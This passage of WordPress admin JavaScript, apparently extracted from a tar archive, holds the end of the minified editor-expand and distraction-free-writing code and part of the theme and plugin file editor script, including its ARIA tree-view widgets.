e,o,i,n,s,f,a,d,c,u,r,l,p;O&&O.settings.visible||(e=L.scrollTop(),o="scroll"!==(u=t&&t.type),i=g&&!g.isHidden(),n=Y,s=S.offset().top,f=h.width(),!o&&D.windowHeight||(p=L.width(),(D={windowHeight:L.height(),windowWidth:p,adminBarHeight:600<p?V.outerHeight():0,toolsHeight:m.outerHeight()||0,menuBarHeight:y.outerHeight()||0,visualTopHeight:w.outerHeight()||0,textTopHeight:b.outerHeight()||0,bottomHeight:x.outerHeight()||0,statusBarHeight:T.outerHeight()||0,sideSortablesHeight:B.height()||0}).menuBarHeight<3&&(D.menuBarHeight=0)),i||"resize"!==u||P(),p=i?(a=w,l=H,D.visualTopHeight):(a=b,l=v,D.textTopHeight),(i||a.length)&&(u=a.parent().offset().top,r=l.offset().top,l=l.outerHeight(),(i?Y+p:Y+20)+5<l?((!z||o)&&e>=u-D.toolsHeight-D.adminBarHeight&&e<=u-D.toolsHeight-D.adminBarHeight+l-n?(z=!0,m.css({position:"fixed",top:D.adminBarHeight,width:f}),i&&y.length&&y.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),a.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):(z||o)&&(e<=u-D.toolsHeight-D.adminBarHeight?(z=!1,m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):e>=u-D.toolsHeight-D.adminBarHeight+l-n&&(z=!1,m.css({position:"absolute",top:l-n,width:f}),i&&y.length&&y.css({position:"absolute",top:l-n,width:f-2}),a.css({position:"absolute",top:l-n+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}))),(!E||o&&U)&&e+D.windowHeight<=r+l+D.bottomHeight+D.statusBarHeight+1?t&&0<t.deltaHeight&&t.deltaHeight<100?F.scrollBy(0,t.deltaHeight):i&&U&&(E=!0,T.css({position:"fixed",bottom:D.bottomHeight,visibility:"",width:f-2}),x.css({position:"fixed",bottom:0,width:f})):(!U&&E||(E||o)&&e+D.windowHeight>r+l+D.bottomHeight+D.statusBarHeight-1)&&(E=!1,T.attr("style",U?"":"visibility: hidden;"),x.attr("style",""))):o&&(m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),T.attr("style",U?"":"visibility: hidden;"),x.attr("style","")),C.width()<300&&600<D.windowWidth&&M.height()>B.height()+s+120&&D.windowHeight<l?(D.sideSortablesHeight+K+R>D.windowHeight||k||A?e+K<=s?(B.attr("style",""),k=A=!1):W<e?k?(k=!1,d=B.offset().top-D.adminBarHeight,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!A&&D.sideSortablesHeight+B.offset().top+R<e+D.windowHeight&&(A=!0,B.css({position:"fixed",top:"auto",bottom:R})):e<W&&(A?(A=!1,d=B.offset().top-R,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!k&&B.offset().top>=e+K&&(k=!0,B.css({position:"fixed",top:K,bottom:""}))):(s-K<=e?B.css({position:"fixed",top:K}):B.attr("style",""),k=A=!1),W=e):(B.attr("style",""),k=A=!1),o)&&(h.css({paddingTop:D.toolsHeight}),i?H.css({paddingTop:D.visualTopHeight+D.menuBarHeight}):v.css({marginTop:D.textTopHeight})))}function n(){P(),p()}function X(t){for(var e=1;e<6;e++)setTimeout(t,500*e)}function t(){F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.addClass("wp-editor-expand"),L.on("scroll.editor-expand resize.editor-expand",function(t){p(t.type),clearTimeout(e),e=setTimeout(p,100)}),M.on("wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand",p).on("postbox-toggled.editor-expand postbox-moved.editor-expand",function(){!k&&!A&&F.pageYOffset>K&&(A=!0,F.scrollBy(0,-1),p(),F.scrollBy(0,1)),p()}).on("wp-window-resized.editor-expand",function(){g&&!g.isHidden()?g.execCommand("wpAutoResize"):P()}),v.on("focus.editor-expand input.editor-expand propertychange.editor-expand",P),r(),O&&O.pubsub.subscribe("hidden",n),g&&(g.settings.wp_autoresize_on=!0,g.execCommand("wpAutoResizeOn"),g.isHidden()||g.execCommand("wpAutoResize")),g&&!g.isHidden()||P(),p(),M.trigger("editor-expand-on")}function s(){var t=parseInt(F.getUserSetting("ed_size",300),10);t<50?t=50:5e3<t&&(t=5e3),F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.removeClass("wp-editor-expand"),L.off(".editor-expand"),M.off(".editor-expand"),v.off(".editor-expand"),l(),O&&O.pubsub.unsubscribe("hidden",n),I.each([w,b,m,y,x,T,h,H,v,B],function(t,e){e&&e.attr("style","")}),z=E=k=A=!1,g&&(g.settings.wp_autoresize_on=!1,g.execCommand("wpAutoResizeOff"),g.isHidden()||(v.hide(),t&&g.theme.resizeTo(null,t))),t&&v.height(t),M.trigger("editor-expand-off")}M.on("tinymce-editor-init.editor-expand",function(t,f){var a=F.tinymce.util.VK,e=_.debounce(function(){I(".mce-floatpanel:hover").length||F.tinymce.ui.FloatPanel.hideAll(),I(".mce-tooltip").hide()},1e3,!0);function o(t){t=t.keyCode;t<=47&&t!==a.SPACEBAR&&t!==a.ENTER&&t!==a.DELETE&&t!==a.BACKSPACE&&t!==a.UP&&t!==a.LEFT&&t!==a.DOWN&&t!==a.UP||91<=t&&t<=93||112<=t&&t<=123||144===t||145===t||i(t)}function i(t){var e,o,i,n,s=function(){var t,e,o=f.selection.getNode();if(f.wp&&f.wp.getView&&(t=f.wp.getView(o)))e=t.getBoundingClientRect();else{t=f.selection.getRng();try{e=t.getClientRects()[0]}catch(t){}e=e||o.getBoundingClientRect()}return!!e.height&&e}();s&&(o=(e=s.top+f.iframeElement.getBoundingClientRect().top)+s.height,e-=50,o+=50,i=D.adminBarHeight+D.toolsHeight+D.menuBarHeight+D.visualTopHeight,(n=D.windowHeight-(U?D.bottomHeight+D.statusBarHeight:0))-i<s.height||(e<i&&(t===a.UP||t===a.LEFT||t===a.BACKSPACE)?F.scrollTo(F.pageXOffset,e+F.pageYOffset-i):n<o&&F.scrollTo(F.pageXOffset,o+F.pageYOffset-n)))}function n(t){t.state||p()}function s(){L.on("scroll.mce-float-panels",e),setTimeout(function(){f.execCommand("wpAutoResize"),p()},300)}function d(){L.off("scroll.mce-float-panels"),setTimeout(function(){var t=h.offset().top;F.pageYOffset>t&&F.scrollTo(F.pageXOffset,t-D.adminBarHeight),P(),p()},100),p()}function c(){U=!U}"content"===f.id&&((g=f).settings.autoresize_min_height=Y,w=h.find(".mce-toolbar-grp"),H=h.find(".mce-edit-area"),T=h.find(".mce-statusbar"),y=h.find(".mce-menubar"),r=function(){f.on("keyup",o),f.on("show",s),f.on("hide",d),f.on("wp-toolbar-toggle",c),f.on("setcontent wp-autoresize wp-toolbar-toggle",p),f.on("undo redo",i),f.on("FullscreenStateChanged",n),L.off("scroll.mce-float-panels").on("scroll.mce-float-panels",e)},l=function(){f.off("keyup",o),f.off("show",s),f.off("hide",d),f.off("wp-toolbar-toggle",c),f.off("setcontent wp-autoresize wp-toolbar-toggle",p),f.off("undo redo",i),f.off("FullscreenStateChanged",n),L.off("scroll.mce-float-panels")},u.hasClass("wp-editor-expand"))&&(r(),X(p))}),u.hasClass("wp-editor-expand")&&(t(),h.hasClass("html-active"))&&X(function(){p(),P()}),I("#adv-settings .editor-expand").show(),I("#editor-expand-toggle").on("change.editor-expand",function(){I(this).prop("checked")?(t(),F.setUserSetting("editor_expand","on")):(s(),F.setUserSetting("editor_expand","off"))}),F.editorExpand={on:t,off:s}}),I(function(){var i,n,t,s,f,a,d,c,u,r,l,p=I(document.body),o=I("#wpcontent"),g=I("#post-body-content"),e=I("#title"),h=I("#content"),m=I(document.createElement("DIV")),w=I("#edit-slug-box"),H=w.find("a").add(w.find("button")).add(w.find("input")),Y=I("#adminmenuwrap"),b=(I(),I(),"on"===F.getUserSetting("editor_expand","on")),v=!!b&&"on"===F.getUserSetting("post_dfw"),x=0,y=0,T=20;function B(){(s=g.offset()).right=s.left+g.outerWidth(),s.bottom=s.top+g.outerHeight()}function C(){b||(b=!0,M.trigger("dfw-activate"),h.on("keydown.focus-shortcut",R))}function S(){b&&(z(),b=!1,M.trigger("dfw-deactivate"),h.off("keydown.focus-shortcut"))}function O(){!v&&b&&(v=!0,h.on("keydown.focus",_),e.add(h).on("blur.focus",A),_(),F.setUserSetting("post_dfw","on"),M.trigger("dfw-on"))}function z(){v&&(v=!1,e.add(h).off(".focus"),k(),g.off(".focus"),F.setUserSetting("post_dfw","off"),M.trigger("dfw-off"))}function E(){(v?z:O)()}function _(t){var e,o=t&&t.keyCode;F.navigator.platform&&(e=-1<F.navigator.platform.indexOf("Mac")),27===o||87===o&&t.altKey&&(!e&&t.shiftKey||e&&t.ctrlKey)?k(t):t&&(t.metaKey||t.ctrlKey&&!t.altKey||t.altKey&&t.shiftKey||o&&(o<=47&&8!==o&&13!==o&&32!==o&&46!==o||91<=o&&o<=93||112<=o&&o<=135||144<=o&&o<=150||224<=o))||(i||(i=!0,clearTimeout(r),r=setTimeout(function(){m.show()},600),g.css("z-index",9998),m.on("mouseenter.focus",function(){B(),L.on("scroll.focus",function(){var t=F.pageYOffset;c&&d&&c!==t&&(d<s.top-T||d>s.bottom+T)&&k(),c=t})}).on("mouseleave.focus",function(){f=a=null,x=y=0,L.off("scroll.focus")}).on("mousemove.focus",function(t){var e=t.clientX,t=t.clientY,o=F.pageYOffset,i=F.pageXOffset;if(f&&a&&(e!==f||t!==a))if(t<=a&&t<s.top-o||a<=t&&t>s.bottom-o||e<=f&&e<s.left-i||f<=e&&e>s.right-i){if(x+=Math.abs(f-e),y+=Math.abs(a-t),(t<=s.top-T-o||t>=s.bottom+T-o||e<=s.left-T-i||e>=s.right+T-i)&&(10<x||10<y))return k(),f=a=null,void(x=y=0)}else x=y=0;f=e,a=t}).on("touchstart.focus",function(t){t.preventDefault(),k()}),g.off("mouseenter.focus"),u&&(clearTimeout(u),u=null),p.addClass("focus-on").removeClass("focus-off")),!n&&i&&(n=!0,V.on("mouseenter.focus",function(){V.addClass("focus-off")}).on("mouseleave.focus",function(){V.removeClass("focus-off")})),W())}function k(t){i&&(i=!1,clearTimeout(r),r=setTimeout(function(){m.hide()},200),g.css("z-index",""),m.off("mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus"),void 0===t&&g.on("mouseenter.focus",function(){(I.contains(g.get(0),document.activeElement)||l)&&_()}),u=setTimeout(function(){u=null,g.off("mouseenter.focus")},1e3),p.addClass("focus-off").removeClass("focus-on")),n&&(n=!1,V.off(".focus")),K()}function A(){setTimeout(function(){var t=document.activeElement.compareDocumentPosition(g.get(0));function e(t){return I.contains(t.get(0),document.activeElement)}2!==t&&4!==t||!(e(Y)||e(o)||e(N))||k()},0)}function W(){t||!i||w.find(":focus").length||(t=!0,w.stop().fadeTo("fast",.3).on("mouseenter.focus",K).off("mouseleave.focus"),H.on("focus.focus",K).off("blur.focus"))}function K(){t&&(t=!1,w.stop().fadeTo("fast",1).on("mouseleave.focus",W).off("mouseenter.focus"),H.on("blur.focus",W).off("focus.focus"))}function R(t){t.altKey&&t.shiftKey&&87===t.keyCode&&E()}p.append(m),m.css({display:"none",position:"fixed",top:V.height(),right:0,bottom:0,left:0,"z-index":9997}),g.css({position:"relative"}),L.on("mousemove.focus",function(t){d=t.pageY}),I("#postdivrich").hasClass("wp-editor-expand")&&h.on("keydown.focus-shortcut",R),M.on("tinymce-editor-setup.focus",function(t,e){e.addButton("dfw",{active:v,classes:"wp-dfw btn widget",disabled:!b,onclick:E,onPostRender:function(){var t=this;e.on("init",function(){t.disabled()&&t.hide()}),M.on("dfw-activate.focus",function(){t.disabled(!1),t.show()}).on("dfw-deactivate.focus",function(){t.disabled(!0),t.hide()}).on("dfw-on.focus",function(){t.active(!0)}).on("dfw-off.focus",function(){t.active(!1)})},tooltip:"Distraction-free writing mode",shortcut:"Alt+Shift+W"}),e.addCommand("wpToggleDFW",E),e.addShortcut("access+w","","wpToggleDFW")}),M.on("tinymce-editor-init.focus",function(t,e){var o,i;function n(){l=!0}function s(){l=!1}"content"===e.id&&(I(e.getWin()),I(e.getContentAreaContainer()).find("iframe"),o=function(){e.on("keydown",_),e.on("blur",A),e.on("focus",n),e.on("blur",s),e.on("wp-autoresize",B)},i=function(){e.off("keydown",_),e.off("blur",A),e.off("focus",n),e.off("blur",s),e.off("wp-autoresize",B)},v&&o(),M.on("dfw-on.focus",o).on("dfw-off.focus",i),e.on("click",function(t){t.target===e.getDoc().documentElement&&e.focus()}))}),M.on("quicktags-init",function(t,e){var o;e.settings.buttons&&-1!==(","+e.settings.buttons+",").indexOf(",dfw,")&&(o=I("#"+e.name+"_dfw"),I(document).on("dfw-activate",function(){o.prop("disabled",!1)}).on("dfw-deactivate",function(){o.prop("disabled",!0)}).on("dfw-on",function(){o.addClass("active")}).on("dfw-off",function(){o.removeClass("active")}))}),M.on("editor-expand-on.focus",C).on("editor-expand-off.focus",S),v&&(h.on("keydown.focus",_),e.add(h).on("blur.focus",A)),F.wp=F.wp||{},F.wp.editor=F.wp.editor||{},F.wp.editor.dfw={activate:C,deactivate:S,isActive:function(){return b},on:O,off:z,toggle:E,isOn:function(){return v}}})}(window,window.jQuery); theme-plugin-editor.js 0000644 00000063100 15222552267 0010774 0 ustar 00 /** * @output wp-admin/js/theme-plugin-editor.js */ /* eslint-env es2020 */ /* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1, 9, 1000] }] */ if ( ! window.wp ) { window.wp = {}; } wp.themePluginEditor = (function( $ ) { 'use strict'; var component, TreeLinks, __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; component = { codeEditor: {}, instance: null, noticeElements: {}, dirty: false, lintErrors: [] }; /** * Initialize component. * * @since 4.9.0 * * @param {jQuery} form - Form element. * @param {Object} settings - Settings. * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled). * @return {void} */ component.init = function init( form, settings ) { component.form = form; if ( settings ) { $.extend( component, settings ); } component.noticeTemplate = wp.template( 'wp-file-editor-notice' ); component.noticesContainer = component.form.find( '.editor-notices' ); component.submitButton = component.form.find( ':input[name=submit]' ); component.spinner = component.form.find( '.submit .spinner' ); component.form.on( 'submit', component.submit ); component.textarea = component.form.find( '#newcontent' ); component.textarea.on( 'change', component.onChange ); component.warning = $( '.file-editor-warning' ); component.docsLookUpButton = component.form.find( '#docs-lookup' ); component.docsLookUpList = component.form.find( '#docs-list' ); if ( component.warning.length > 0 ) { component.showWarning(); } if ( false !== component.codeEditor ) { /* * Defer adding notices until after DOM ready as workaround for WP Admin injecting * its own managed dismiss buttons and also to prevent the editor from showing a notice * when the file had linting errors to begin with. */ _.defer( function() { component.initCodeEditor(); } ); } $( component.initFileBrowser ); $( window ).on( 'beforeunload', function() { if ( component.dirty ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } return undefined; } ); component.docsLookUpList.on( 'change', function() { var option = $( this ).val(); if ( '' === option ) { component.docsLookUpButton.prop( 'disabled', true ); } else { component.docsLookUpButton.prop( 'disabled', false ); } } ); // Initiate saving the file when not focused in CodeMirror or when the user has syntax highlighting turned off. $( window ).on( 'keydown', function( event ) { if ( ( event.ctrlKey || event.metaKey ) && ( 's' === event.key.toLowerCase() ) && ( ! component.instance || ! component.instance.codemirror.hasFocus() ) ) { event.preventDefault(); component.form.trigger( 'submit' ); } } ); }; /** * Set up and display the warning modal. * * @since 4.9.0 * @return {void} */ component.showWarning = function() { // Get the text within the modal. var rawMessage = component.warning.find( '.file-editor-warning-message' ).text(); // Hide all the #wpwrap content from assistive technologies. $( '#wpwrap' ).attr( 'aria-hidden', 'true' ); // Detach the warning modal from its position and append it to the body. $( document.body ) .addClass( 'modal-open' ) .append( component.warning.detach() ); // Reveal the modal and set focus on the go back button. component.warning .removeClass( 'hidden' ) .find( '.file-editor-warning-go-back' ).trigger( 'focus' ); // Get the links and buttons within the modal. component.warningTabbables = component.warning.find( 'a, button' ); // Attach event handlers. component.warningTabbables.on( 'keydown', component.constrainTabbing ); component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning ); // Make screen readers announce the warning message after a short delay (necessary for some screen readers). setTimeout( function() { wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' ); }, 1000 ); }; /** * Constrain tabbing within the warning modal. * * @since 4.9.0 * @param {Object} event jQuery event object. * @return {void} */ component.constrainTabbing = function( event ) { var firstTabbable, lastTabbable; if ( 9 !== event.which ) { return; } firstTabbable = component.warningTabbables.first()[0]; lastTabbable = component.warningTabbables.last()[0]; if ( lastTabbable === event.target && ! event.shiftKey ) { firstTabbable.focus(); event.preventDefault(); } else if ( firstTabbable === event.target && event.shiftKey ) { lastTabbable.focus(); event.preventDefault(); } }; /** * Dismiss the warning modal. * * @since 4.9.0 * @return {void} */ component.dismissWarning = function() { wp.ajax.post( 'dismiss-wp-pointer', { pointer: component.themeOrPlugin + '_editor_notice' }); // Hide modal. component.warning.remove(); $( '#wpwrap' ).removeAttr( 'aria-hidden' ); $( 'body' ).removeClass( 'modal-open' ); }; /** * Callback for when a change happens. * * @since 4.9.0 * @return {void} */ component.onChange = function() { component.dirty = true; component.removeNotice( 'file_saved' ); }; /** * Submit file via Ajax. * * @since 4.9.0 * @param {jQuery.Event} event - Event. * @return {void} */ component.submit = function( event ) { var data = {}, request; event.preventDefault(); // Prevent form submission in favor of Ajax below. $.each( component.form.serializeArray(), function() { data[ this.name ] = this.value; } ); // Use value from codemirror if present. if ( component.instance ) { data.newcontent = component.instance.codemirror.getValue(); } if ( component.isSaving ) { return; } if ( component.instance && component.instance.updateErrorNotice ) { component.instance.updateErrorNotice(); } // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; } component.isSaving = true; component.textarea.prop( 'readonly', true ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', true ); } component.spinner.addClass( 'is-active' ); request = wp.ajax.post( 'edit-theme-plugin-file', data ); // Remove previous save notice before saving. if ( component.lastSaveNoticeCode ) { component.removeNotice( component.lastSaveNoticeCode ); } request.done( function( response ) { component.lastSaveNoticeCode = 'file_saved'; component.addNotice({ code: component.lastSaveNoticeCode, type: 'success', message: response.message, dismissible: true }); component.dirty = false; } ); request.fail( function( response ) { var notice = $.extend( { code: 'save_error', message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' ) }, response, { type: 'error', dismissible: true } ); component.lastSaveNoticeCode = notice.code; component.addNotice( notice ); } ); request.always( function() { component.spinner.removeClass( 'is-active' ); component.isSaving = false; component.textarea.prop( 'readonly', false ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', false ); } } ); }; /** * Add notice. * * @since 4.9.0 * * @param {Object} notice - Notice. * @param {string} notice.code - Code. * @param {string} notice.type - Type. * @param {string} notice.message - Message. * @param {boolean} [notice.dismissible=false] - Dismissible. * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice. * @return {jQuery} Notice element. */ component.addNotice = function( notice ) { var noticeElement; if ( ! notice.code ) { throw new Error( 'Missing code.' ); } // Only let one notice of a given type be displayed at a time. component.removeNotice( notice.code ); noticeElement = $( component.noticeTemplate( notice ) ); noticeElement.hide(); noticeElement.find( '.notice-dismiss' ).on( 'click', function() { component.removeNotice( notice.code ); if ( notice.onDismiss ) { notice.onDismiss( notice ); } } ); wp.a11y.speak( notice.message ); component.noticesContainer.append( noticeElement ); noticeElement.slideDown( 'fast' ); component.noticeElements[ notice.code ] = noticeElement; return noticeElement; }; /** * Remove notice. * * @since 4.9.0 * * @param {string} code - Notice code. * @return {boolean} Whether a notice was removed. */ component.removeNotice = function( code ) { if ( component.noticeElements[ code ] ) { component.noticeElements[ code ].slideUp( 'fast', function() { $( this ).remove(); } ); delete component.noticeElements[ code ]; return true; } return false; }; /** * Initialize code editor. * * @since 4.9.0 * @return {void} */ component.initCodeEditor = function initCodeEditor() { var codeEditorSettings, editor; codeEditorSettings = $.extend( {}, component.codeEditor ); /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabPrevious = function() { $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' ); }; /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabNext = function() { $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' ); }; /** * Handle change to the linting errors. * * @since 4.9.0 * * @param {Array} errors - List of linting errors. * @return {void} */ codeEditorSettings.onChangeLintingErrors = function( errors ) { component.lintErrors = errors; // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button. if ( 0 === errors.length ) { component.submitButton.toggleClass( 'disabled', false ); } }; /** * Update error notice. * * @since 4.9.0 * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) { var noticeElement; component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 ); if ( 0 !== errorAnnotations.length ) { noticeElement = component.addNotice({ code: 'lint_errors', type: 'error', message: sprintf( /* translators: %s: Error count. */ _n( 'There is %s error which must be fixed before you can update this file.', 'There are %s errors which must be fixed before you can update this file.', errorAnnotations.length ), String( errorAnnotations.length ) ), dismissible: false }); noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() { codeEditorSettings.onChangeLintingErrors( [] ); component.removeNotice( 'lint_errors' ); } ); } else { component.removeNotice( 'lint_errors' ); } }; editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings ); editor.codemirror.on( 'change', component.onChange ); function onSaveShortcut() { component.form.trigger( 'submit' ); } editor.codemirror.setOption( 'extraKeys', { ...( editor.codemirror.getOption( 'extraKeys' ) || {} ), 'Ctrl-S': onSaveShortcut, 'Cmd-S': onSaveShortcut, } ); // Improve the editor accessibility. $( editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': 'theme-plugin-editor-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#theme-plugin-editor-label' ).on( 'click', function() { editor.codemirror.focus(); }); component.instance = editor; }; /** * Initialization of the file browser's folder states. * * @since 4.9.0 * @return {void} */ component.initFileBrowser = function initFileBrowser() { var $templateside = $( '#templateside' ); // Collapse all folders. $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false ); // Expand ancestors to the current file. $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true ); // Find Tree elements and enhance them. $templateside.find( '[role="tree"]' ).each( function() { var treeLinks = new TreeLinks( this ); treeLinks.init(); } ); // Scroll the current file into view. $templateside.find( '.current-file:first' ).each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView( false ); } } ); }; /* jshint ignore:start */ /* jscs:disable */ /* eslint-disable */ /** * Creates a new TreeitemLink. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ var TreeitemLink = (function () { /** * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeitemLink.js * * Desc: Treeitem widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /** * @constructor * * @desc * Treeitem object for representing the state and user interactions for a * treeItem widget * * @param node * An element with the role=tree attribute */ var TreeitemLink = function (node, treeObj, group) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } node.tabIndex = -1; this.tree = treeObj; this.groupTreeitem = group; this.domNode = node; this.label = node.textContent.trim(); this.stopDefaultClick = false; if (node.getAttribute('aria-label')) { this.label = node.getAttribute('aria-label').trim(); } this.isExpandable = false; this.isVisible = false; this.inGroup = false; if (group) { this.inGroup = true; } var elem = node.firstElementChild; while (elem) { if (elem.tagName.toLowerCase() == 'ul') { elem.setAttribute('role', 'group'); this.isExpandable = true; break; } elem = elem.nextElementSibling; } this.keyCode = Object.freeze({ RETURN: 13, SPACE: 32, PAGEUP: 33, PAGEDOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }); }; TreeitemLink.prototype.init = function () { this.domNode.tabIndex = -1; if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'treeitem'); } this.domNode.addEventListener('keydown', this.handleKeydown.bind(this)); this.domNode.addEventListener('click', this.handleClick.bind(this)); this.domNode.addEventListener('focus', this.handleFocus.bind(this)); this.domNode.addEventListener('blur', this.handleBlur.bind(this)); if (this.isExpandable) { this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this)); } else { this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this)); } }; TreeitemLink.prototype.isExpanded = function () { if (this.isExpandable) { return this.domNode.getAttribute('aria-expanded') === 'true'; } return false; }; /* EVENT HANDLERS */ TreeitemLink.prototype.handleKeydown = function (event) { var tgt = event.currentTarget, flag = false, _char = event.key, clickEvent; function isPrintableCharacter(str) { return str.length === 1 && str.match(/\S/); } function printableCharacter(item) { if (_char == '*') { item.tree.expandAllSiblingItems(item); flag = true; } else { if (isPrintableCharacter(_char)) { item.tree.setFocusByFirstCharacter(item, _char); flag = true; } } } this.stopDefaultClick = false; if (event.altKey || event.ctrlKey || event.metaKey) { return; } if (event.shift) { if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) { event.stopPropagation(); this.stopDefaultClick = true; } else { if (isPrintableCharacter(_char)) { printableCharacter(this); } } } else { switch (event.keyCode) { case this.keyCode.SPACE: case this.keyCode.RETURN: if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } flag = true; } else { event.stopPropagation(); this.stopDefaultClick = true; } break; case this.keyCode.UP: this.tree.setFocusToPreviousItem(this); flag = true; break; case this.keyCode.DOWN: this.tree.setFocusToNextItem(this); flag = true; break; case this.keyCode.RIGHT: if (this.isExpandable) { if (this.isExpanded()) { this.tree.setFocusToNextItem(this); } else { this.tree.expandTreeitem(this); } } flag = true; break; case this.keyCode.LEFT: if (this.isExpandable && this.isExpanded()) { this.tree.collapseTreeitem(this); flag = true; } else { if (this.inGroup) { this.tree.setFocusToParentItem(this); flag = true; } } break; case this.keyCode.HOME: this.tree.setFocusToFirstItem(); flag = true; break; case this.keyCode.END: this.tree.setFocusToLastItem(); flag = true; break; default: if (isPrintableCharacter(_char)) { printableCharacter(this); } break; } } if (flag) { event.stopPropagation(); event.preventDefault(); } }; TreeitemLink.prototype.handleClick = function (event) { // Only process click events that directly happened on this treeitem. if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) { return; } if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } event.stopPropagation(); } }; TreeitemLink.prototype.handleFocus = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.add('focus'); }; TreeitemLink.prototype.handleBlur = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.remove('focus'); }; TreeitemLink.prototype.handleMouseOver = function (event) { event.currentTarget.classList.add('hover'); }; TreeitemLink.prototype.handleMouseOut = function (event) { event.currentTarget.classList.remove('hover'); }; return TreeitemLink; })(); /** * Creates a new TreeLinks. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ TreeLinks = (function () { /* * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeLinks.js * * Desc: Tree widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /* * @constructor * * @desc * Tree item object for representing the state and user interactions for a * tree widget * * @param node * An element with the role=tree attribute */ var TreeLinks = function (node) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } this.domNode = node; this.treeitems = []; this.firstChars = []; this.firstTreeitem = null; this.lastTreeitem = null; }; TreeLinks.prototype.init = function () { function findTreeitems(node, tree, group) { var elem = node.firstElementChild; var ti = group; while (elem) { if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') { ti = new TreeitemLink(elem, tree, group); ti.init(); tree.treeitems.push(ti); tree.firstChars.push(ti.label.substring(0, 1).toLowerCase()); } if (elem.firstElementChild) { findTreeitems(elem, tree, ti); } elem = elem.nextElementSibling; } } // Initialize pop up menus. if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'tree'); } findTreeitems(this.domNode, this, false); this.updateVisibleTreeitems(); 